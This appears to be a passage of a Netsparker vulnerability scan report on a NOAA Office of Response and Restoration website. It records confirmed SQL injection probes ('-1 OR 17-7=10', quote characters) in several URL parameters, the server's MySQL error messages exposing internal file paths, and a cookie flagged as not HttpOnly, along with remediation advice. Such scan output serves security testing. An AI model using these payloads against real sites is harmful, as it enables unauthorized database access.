GET /audience_subtopic_entry.php?entry_id=-1+OR+17-7%3d10&subtopic_id=27&audience_id=4 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
- /audience_subtopic_entry.php
/audience_subtopic_entry.php
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
entry_id
|
GET
|
748
|
subtopic_id
|
GET
|
-1 OR 17-7=10
|
audience_id
|
GET
|
4
|
Request
GET /audience_subtopic_entry.php?entry_id=748&subtopic_id=-1+OR+17-7%3d10&audience_id=4 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:52:23 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 3776
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<title>Coral Reef Documents and Reports | any subtopic | Interested Public | NOAA's National Ocean Service Office of Response and Restoration</title>
<meta name="robots" content="noindex,nofollow,noarchive">
<meta name="keywords" content="coral,coral reefs,emergency responders">
<link href="orr.main.css" rel="stylesheet" media="screen, print">
</head>
<body bgcolor="#ffffff" leftmargin="5" marginheight="5" marginwidth="5" topmargin="5">
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0" height="100%">
<!-- banner -->
<tr>
<td>
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0">
<tr height="109">
<td align="center" valign="middle" height="109"><img src="/art_gallery/banners/banner_wetland.jpg" alt="Office of Response and Restoration Web Banner" height="109" width="741" border="0"></td>
</tr>
<tr height="10">
<td class="search_bar" height="10" align="right" valign="middle">
<form action="orr_search.php" method="get" name="quick_search" target="_self">
<label for="Search"><span class="sidebar_titles">Search</span></label> <input type="text" name="keywords" id="Search" size="10"> <input type="submit" name="submit" value="Go">
</form>
</td>
</tr>
</table>
</td>
</tr> <tr height="100%">
<td align="left" valign="top" height="100%">
<table summary="for page layout only" width="100%" border="0" cellspacing="0" cellpadding="8" height="100%">
<tr height="100%">
<td align="left" valign="top" bgcolor="#ebebeb" width="162">
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr height="115">
<td align="right" valign="top" height="115">
<table width="150" border="0" cellspacing="2" cellpadding="2">
<!-- tiny icon menu -->
<tr>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=1'><img src='/art_gallery/tiny_icons/tiny_icon_emergency.gif' alt='Emergency Response' border="0"></a></td>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=2'><img src='/art_gallery/tiny_icons/tiny_icon_pollutant.gif' alt='Pollutants in the Environment' border="0"></a></td>
<tr>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=3'><img src='/art_gallery/tiny_icons/tiny_icon_communities.gif' alt='Serving Communities' border="0"></a></td>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=4'><img src='/art_gallery/tiny_icons/tiny_icon_restoration.gif' alt='Natural Resource Restoration' border="0"></a></td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<!-- target audience menu -->
<caption>
<div align="left">
<span class="sidebar_titles">Information for:</span></div>
</caption>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1'>Emergency Responders</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=2'>Students and Teachers</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4'><strong><font color='black'>Interested Public</font></strong></a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=5'>Research Institutions</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=6'>Other Agencies</a>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="../../current_news_topic.php" target="_self">Current News</a></td>
</tr>
<tr>
<td>
<a href="../../special_note_topic.php" target="_self">Special Note</a></td>
</tr>
<tr>
<td>
<a href="../../faq_catalog.php" target="_self">FAQs</a></td>
</tr>
</table> </td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table width="150" border="0" cellspacing="2" cellpadding="2">
<caption>
<div align="left">
<span class="sidebar_titles">Catalogs of:</span>
</div>
</caption>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=2' target="_self">Publications</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=3' target="_self">Software & Data Sets</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=4' target="_self">Web Portals</a></td>
</tr>
<tr>
<td> <a href="../../link_catalog.php" target="_self">Links</a>
</td>
</tr>
<tr>
<td> <a href="../../resource_catalog.php" target="_self">Downloads</a>
</td>
</tr>
<tr>
<td> <a href="../../gallery_catalog.php" target="_self">Image Galleries</a>
</td>
</tr>
<tr>
<td> <a href="../../av_catalog.php" target="_self">Abandoned Vessels</a>
</td>
</tr>
<tr>
<td> <a href="../../dc_catalog.php" target="_self">Drift Card Studies</a>
</td>
</tr>
</table> </td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="orr_about.php" target="_self">About OR&R</a>
</td>
</tr>
<tr>
<td>
<a href="orr_contact.php" target="_self">Contact Us</a>
</td>
</tr>
<tr>
<td>
<a href="orr_search.php" target="_self">Advanced Search</a>
</td>
</tr>
<tr>
<td>
<a href="orr_index_topic.php" target="_self">Site Index</a>
</td>
</tr>
<tr>
<td>
<a title="NOAA's Privacy Policies" href="http://www.noaa.gov/privacy.html" target="_blank">Privacy Policy</a></td>
</tr>
<tr>
<td>
<a title="Document Accessibility" href="audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=4" target="_self"><strong><font color='black'>Document Accessibility</font></strong></a></td>
</tr>
</table> </td>
</tr>
</table>
</td>
<td align="left" valign="top" width="100%">
<table summary="for page layout only" border="0" cellspacing="0" cellpadding="8">
<tr>
<td align="left" valign="top">
<table border="0" cellspacing="0" cellpadding="3">
<!-- breadcrumb trail -->
<tr height="60">
<td width="60" height="60"><a onmouseover="window.status='Go to the home page';return true" onmouseout="window.status='';return true" href="index.php" target="_self"><img src="art_gallery/524_NOAA-logo-no-type.jpg" alt="small noaa logo" name="_524_NOAA_logo_no_type" border="0"></a></td>
<td align="left" valign="middle" height="60"><a href="index.php" target="_self"><span class="center_titles">Home</span></a> | <a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4'><span class="center_titles">Interested Public</span></a> | <a href='audience_subtopic.php?RECORD_KEY%28subtopic_audience%29=subtopic_id,audience_id&subtopic_id(subtopic_audience)=0&audience_id(subtopic_audience)=4'><span class="center_titles">any subtopic</span></a></td>
</tr>
</table>
</td>
</tr>
<tr>
<!-- this td tag contains the center panel of the page -->
<td align="left" valign="top">
<p><span class="feature_title">Coral Reef Documents and Reports</span></p>
<p>
<agl:container>
<!-- title / graphic / text block 1 -->
</agl:container>
</p>
<p><span class="feature_title"></span></p>
<p><table border="0" cellspacing="2" cellpadding="2" summary="Table for layout purposes only."><td><img src="/art_gallery/coralheads.jpg" alt="Coral heads, taken by Kip Evans."></td><td align="top">Following are documents and reports related to coral reef environments. Some are links to other Web sites, while others are documents you can download directly from our site. They address various issues regarding coral reef environments, and some are oriented toward emergency responders.</td></table></p>
<p>
<agl:container>
<!-- title / graphic / text block 2 -->
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
<!-- title / graphic / text block 3 -->
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
<!-- title / graphic / text block 4 -->
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
<!-- title / graphic / text block 5 -->
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
<!-- inline linkbox 1 -->
<table border="0" cellspacing="2" cellpadding="0">
<tr>
<td>
<span class="feature_title">Related Pages on our Site</span>
<br> </td>
</tr>
<tr>
<td>
<ul>
<li><a href='/topic_subtopic_entry.php?RECORD_KEY%28entry_subtopic_topic%29=entry_id,subtopic_id,topic_id&entry_id(entry_subtopic_topic)=349&subtopic_id(entry_subtopic_topic)=8&topic_id(entry_subtopic_topic)=1' target="_self"><span class="link_title">Characteristic Coastal Habitats: Choosing Spill Response Alternatives</span></a> <span class="link_notes">This is a job aid designed for anyone who needs to decide if, where, when, and how to remove oil from coastal habitats.</span> <span class="link_info"></span>
</ul>
</td>
</tr>
</table>
</agl:container>
<agl:container>
<!-- inline linkbox 2 -->
<table border="0" cellspacing="2" cellpadding="0">
<tr>
<td>
<span class="feature_title">Links to other Web Sites</span>
<br> </td>
</tr>
<tr>
<td>
- /audience_subtopic_entry.php
/audience_subtopic_entry.php
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
entry_id
|
GET
|
748
|
subtopic_id
|
GET
|
27
|
audience_id
|
GET
|
-1 OR 17-7=10
|
Request
GET /audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=-1+OR+17-7%3d10 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:55:09 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 4600
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<title>Coral Reefs: Spills and Other Threats | any subtopic | Emergency Responders | NOAA's National Ocean Service Office of Response and Restoration</title>
<meta name="keywords" content="oil spill response, coral, spills, ecosystem, planning, coral reefs, pollutants, fishing, developing, impacts, oil spills, global warming">
<link href="orr.main.css" rel="stylesheet" media="screen, print">
</head>
<body bgcolor="#ffffff" leftmargin="5" marginheight="5" marginwidth="5" topmargin="5">
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0" height="100%">
<!-- banner -->
<tr>
<td>
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0">
<tr height="109">
<td align="center" valign="middle" height="109"><img src="/art_gallery/banners/banner_open_water.jpg" alt="Office of Response and Restoration Web Banner" height="109" width="741" border="0"></td>
</tr>
<tr height="10">
<td class="search_bar" height="10" align="right" valign="middle">
<form action="orr_search.php" method="get" name="quick_search" target="_self">
<label for="Search"><span class="sidebar_titles">Search</span></label> <input type="text" name="keywords" id="Search" size="10"> <input type="submit" name="submit" value="Go">
</form>
</td>
</tr>
</table>
</td>
</tr> <tr height="100%">
<td align="left" valign="top" height="100%">
<table summary="for page layout only" width="100%" border="0" cellspacing="0" cellpadding="8" height="100%">
<tr height="100%">
<td align="left" valign="top" bgcolor="#ebebeb" width="162">
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr height="115">
<td align="right" valign="top" height="115">
<table width="150" border="0" cellspacing="2" cellpadding="2">
<!-- tiny icon menu -->
<tr>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=1'><img src='/art_gallery/tiny_icons/tiny_icon_emergency.gif' alt='Emergency Response' border="0"></a></td>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=2'><img src='/art_gallery/tiny_icons/tiny_icon_pollutant.gif' alt='Pollutants in the Environment' border="0"></a></td>
<tr>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=3'><img src='/art_gallery/tiny_icons/tiny_icon_communities.gif' alt='Serving Communities' border="0"></a></td>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=4'><img src='/art_gallery/tiny_icons/tiny_icon_restoration.gif' alt='Natural Resource Restoration' border="0"></a></td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<!-- target audience menu -->
<caption>
<div align="left">
<span class="sidebar_titles">Information for:</span></div>
</caption>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1'><strong><font color='black'>Emergency Responders</font></strong></a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=2'>Students and Teachers</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4'>Interested Public</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=5'>Research Institutions</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=6'>Other Agencies</a>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="../../current_news_topic.php" target="_self">Current News</a></td>
</tr>
<tr>
<td>
<a href="../../special_note_topic.php" target="_self">Special Note</a></td>
</tr>
<tr>
<td>
<a href="../../faq_catalog.php" target="_self">FAQs</a></td>
</tr>
</table> </td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table width="150" border="0" cellspacing="2" cellpadding="2">
<caption>
<div align="left">
<span class="sidebar_titles">Catalogs of:</span>
</div>
</caption>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=2' target="_self">Publications</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=3' target="_self">Software & Data Sets</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=4' target="_self">Web Portals</a></td>
</tr>
<tr>
<td> <a href="../../link_catalog.php" target="_self">Links</a>
</td>
</tr>
<tr>
<td> <a href="../../resource_catalog.php" target="_self">Downloads</a>
</td>
</tr>
<tr>
<td> <a href="../../gallery_catalog.php" target="_self">Image Galleries</a>
</td>
</tr>
<tr>
<td> <a href="../../av_catalog.php" target="_self">Abandoned Vessels</a>
</td>
</tr>
<tr>
<td> <a href="../../dc_catalog.php" target="_self">Drift Card Studies</a>
</td>
</tr>
</table> </td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="orr_about.php" target="_self">About OR&R</a>
</td>
</tr>
<tr>
<td>
<a href="orr_contact.php" target="_self">Contact Us</a>
</td>
</tr>
<tr>
<td>
<a href="orr_search.php" target="_self">Advanced Search</a>
</td>
</tr>
<tr>
<td>
<a href="orr_index_topic.php" target="_self">Site Index</a>
</td>
</tr>
<tr>
<td>
<a title="NOAA's Privacy Policies" href="http://www.noaa.gov/privacy.html" target="_blank">Privacy Policy</a></td>
</tr>
<tr>
<td>
<a title="Document Accessibility" href="audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=4" target="_self"><strong><font color='black'>Document Accessibility</font></strong></a></td>
</tr>
</table> </td>
</tr>
</table>
</td>
<td align="left" valign="top" width="100%">
<table summary="for page layout only" border="0" cellspacing="0" cellpadding="8">
<tr>
<td align="left" valign="top">
<table border="0" cellspacing="0" cellpadding="3">
<!-- breadcrumb trail -->
<tr height="60">
<td width="60" height="60"><a onmouseover="window.status='Go to the home page';return true" onmouseout="window.status='';return true" href="index.php" target="_self"><img src="art_gallery/524_NOAA-logo-no-type.jpg" alt="small noaa logo" name="_524_NOAA_logo_no_type" border="0"></a></td>
<td align="left" valign="middle" height="60"><a href="index.php" target="_self"><span class="center_titles">Home</span></a> | <a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1'><span class="center_titles">Emergency Responders</span></a> | <a href='audience_subtopic.php?RECORD_KEY%28subtopic_audience%29=subtopic_id,audience_id&subtopic_id(subtopic_audience)=0&audience_id(subtopic_audience)=1'><span class="center_titles">any subtopic</span></a></td>
</tr>
</table>
</td>
</tr>
<tr>
<!-- this td tag contains the center panel of the page -->
<td align="left" valign="top">
<p><span class="feature_title">Coral Reefs: Spills and Other Threats</span></p>
<p>
<agl:container>
<!-- title / graphic / text block 1 -->
<table width="354" height="228" border="0" cellspacing="4" cellpadding="0" align='left'>
<tr>
<td align="center" valign="middle"><img src='/art_gallery/oilgaleta.jpg' alt='Oil slicks moving onto coral reefs at Galeta at low tide; Bahia las Minas refinery spill, Panama, April, 1996.' height='224' width='350' border='1' hspace="12"></td>
</tr>
<tr>
<td align="center" valign="middle">
<agl:container>
<span class="photo_caption">Oil slicks moving onto coral reefs at Galeta at low tide; Bahia las Minas refinery spill, Panama, April, 1986. <em>Photo: John Cubit.</em></span>
</agl:container>
</td>
</tr>
</table>
</agl:container>
</p>
<p><span class="feature_title"></span></p>
<p>Coral reefs are highly productive and diverse ecosystems that are not only beautiful, but are also very valuable economically and environmentally. Today, many coral reefs are suffering degradation from a variety of causes, including climate change, pollutants, overfishing, development, and physical disturbances. Coral habitats are also vulnerable to impacts from oil spills.
<P>Because these systems are fragile, we are especially careful to respond appropriately to spills or potential spills in these areas. By understanding how our actions can affect coral reef ecosystems, we can do a better job of protecting them from further harm.</p>
<p>
<agl:container>
<!-- title / graphic / text block 2 -->
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
<!-- title / graphic / text block 3 -->
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
<!-- title / graphic / text block 4 -->
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
<!-- title / graphic / text block 5 -->
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
<!-- inline linkbox 1 -->
<table border="0" cellspacing="2" cellpadding="0">
<tr>
<td>
<span class="feature_title">For More Information</span>
<br> </td>
</tr>
<tr>
<td>
<ul>
<li><a href='/topic_subtopic_entry.php?RECORD_KEY%28entry_subtopic_topic%29=entry_id,subtopic_id,topic_id&entry_id(entry_subtopic_topic)=5&subtopic_id(entry_subtopic_topic)=8&topic_id(entry_subtopic_topic)=1' target=..
[High Possibility] SQL Injection
[High Possibility] SQL Injection
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it
could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.
Impact
Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
- Reading, Updating and Deleting arbitrary data from the database
- Executing commands on the underlying operating system
- Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
- See the remedy for solution.
- If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
- Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
- Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.
A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.
External References
Remedy References
- /topic_catalog.php
/topic_catalog.php
|
Parameters
Parameter
|
Type
|
Value
|
RECORD_KEY%28topics_chosen%29
|
GET
|
topic_id
|
topic_id(topics_chosen)
|
GET
|
%27
|
Request
GET /topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=%2527 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:48:14 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 366
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="2" Description="Error: "mysql_fetch_array(): supplied argument is not a valid MySQL result resource" on line 192 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/topic_catalog.php."/>
- /resource_resourcetopic.php
/resource_resourcetopic.php
|
Parameters
Parameter
|
Type
|
Value
|
RECORD_KEY%28resourcetopics%29
|
GET
|
resourcetopic_id
|
resourcetopic_id(resourcetopics)
|
GET
|
%27
|
Request
GET /resource_resourcetopic.php?RECORD_KEY%28resourcetopics%29=resourcetopic_id&resourcetopic_id(resourcetopics)=%2527 HTTP/1.1
Referer: http://response.restoration.noaa.gov/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:48:15 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 360
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="2" Description="Error: "mysql_fetch_array(): supplied argument is not a valid MySQL result resource" on line 44 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/resource_resourcetopic.php."/>
- /audience_catalog.php
/audience_catalog.php
|
Parameters
Parameter
|
Type
|
Value
|
RECORD_KEY%28audience_chosen%29
|
GET
|
audience_id
|
audience_id(audience_chosen)
|
GET
|
%27
|
Request
GET /audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=%2527 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:48:21 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 368
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="2" Description="Error: "mysql_fetch_array(): supplied argument is not a valid MySQL result resource" on line 153 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/audience_catalog.php."/>
Cookie Not Marked As HttpOnly
Cookie Not Marked As HttpOnly
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..
Impact
During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.
Actions to Take
- See the remedy for solution
- Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.
Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as
XSS Tunnel to bypass HTTPOnly protection.
External References
- /dwh.php
/dwh.php
CONFIRMED
|
PHPSESSID
Request
GET /dwh.php?entry_id=812 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:09 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Set-Cookie: PHPSESSID=519f6f3181b8c1eb7a34056beb0b2e04; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8646
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <title>Publications, Factsheets and One-Pagers | Recent and Historical Incidents | Emergency Response | NOAA's National Ocean Service Office of Response and Restoration</title> <meta name="robots" content="noindex,nofollow,noarchive"> <meta name="keywords" content="Deepwater Horizon oil rig fire, Deepwater Horizon oil well fire, MODU, Mississippi Canyon 252, Louisiana, Mississippi"> <link href="orr.main.css" rel="stylesheet" media="screen, print"> <style type="text/css"> .ie .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .ie7 .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .win.gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .webkit .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .linux.gecko .no_overlap 